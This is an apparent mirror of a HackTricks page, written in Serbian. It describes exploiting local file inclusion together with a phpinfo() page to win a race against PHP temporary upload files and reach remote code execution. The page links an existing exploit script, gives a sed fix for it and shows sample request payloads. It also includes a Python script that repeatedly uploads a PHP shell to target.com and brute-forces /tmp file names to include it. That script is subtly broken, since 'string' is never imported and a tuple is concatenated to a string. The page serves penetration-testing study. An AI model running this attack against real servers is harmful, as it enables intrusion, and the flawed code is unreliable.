mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
54 lines
3.0 KiB
Markdown
54 lines
3.0 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Da biste iskoristili ovu ranjivost, potrebni su vam: **LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file_uploads = on" i server mora moći da piše u direktorijum "/tmp".**
|
|
|
|
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
|
|
|
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
|
|
|
Morate da ispravite exploit (promenite **=>** u **=>**). Da biste to uradili, možete:
|
|
```
|
|
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
|
```
|
|
Morate promeniti i **payload** na početku eksploata (na primer, za php-rev-shell), **REQ1** (ovo treba da upućuje na phpinfo stranicu i treba da ima uključeno punjenje, tj.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), i **LFIREQ** (ovo treba da upućuje na LFI ranjivost, tj.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Proverite dupli "%" kada eksploatišete null char)
|
|
|
|
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
|
|
|
### Teorija
|
|
|
|
Ako su uploadi dozvoljeni u PHP-u i pokušate da uploadujete fajl, ovaj fajl se čuva u privremenom direktorijumu dok server ne završi obradu zahteva, zatim se ovaj privremeni fajl briše.
|
|
|
|
Zatim, ako ste pronašli LFI ranjivost na web serveru, možete pokušati da pogodite ime privremenog fajla koji je kreiran i iskoristite RCE pristupajući privremenom fajlu pre nego što bude obrisan.
|
|
|
|
U **Windows-u** fajlovi se obično čuvaju u **C:\Windows\temp\php**
|
|
|
|
U **linux-u** ime fajla obično je **random** i nalazi se u **/tmp**. Pošto je ime nasumično, potrebno je **izvući ime privremenog fajla** iz nekog izvora i pristupiti mu pre nego što bude obrisan. To se može uraditi čitanjem vrednosti **varijable $\_FILES** unutar sadržaja funkcije "**phpconfig()**".
|
|
|
|
**phpinfo()**
|
|
|
|
**PHP** koristi bafer od **4096B** i kada je **pun**, on se **šalje klijentu**. Zatim klijent može **slati** **puno velikih zahteva** (koristeći velike zaglavlja) **uploadujući php** reverznu **shell**, čekati da se **prvi deo phpinfo() vrati** (gde je ime privremenog fajla) i pokušati da **pristupi privremenom fajlu** pre nego što php server obriše fajl eksploatišući LFI ranjivost.
|
|
|
|
**Python skripta za pokušaj bruteforce-a imena (ako je dužina = 6)**
|
|
```python
|
|
import itertools
|
|
import requests
|
|
import sys
|
|
|
|
print('[+] Trying to win the race')
|
|
f = {'file': open('shell.php', 'rb')}
|
|
for _ in range(4096 * 4096):
|
|
requests.post('http://target.com/index.php?c=index.php', f)
|
|
|
|
|
|
print('[+] Bruteforcing the inclusion')
|
|
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
|
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
|
r = requests.get(url)
|
|
if 'load average' in r.text: # <?php echo system('uptime');
|
|
print('[+] We have got a shell: ' + url)
|
|
sys.exit(0)
|
|
|
|
print('[x] Something went wrong, please try again')
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|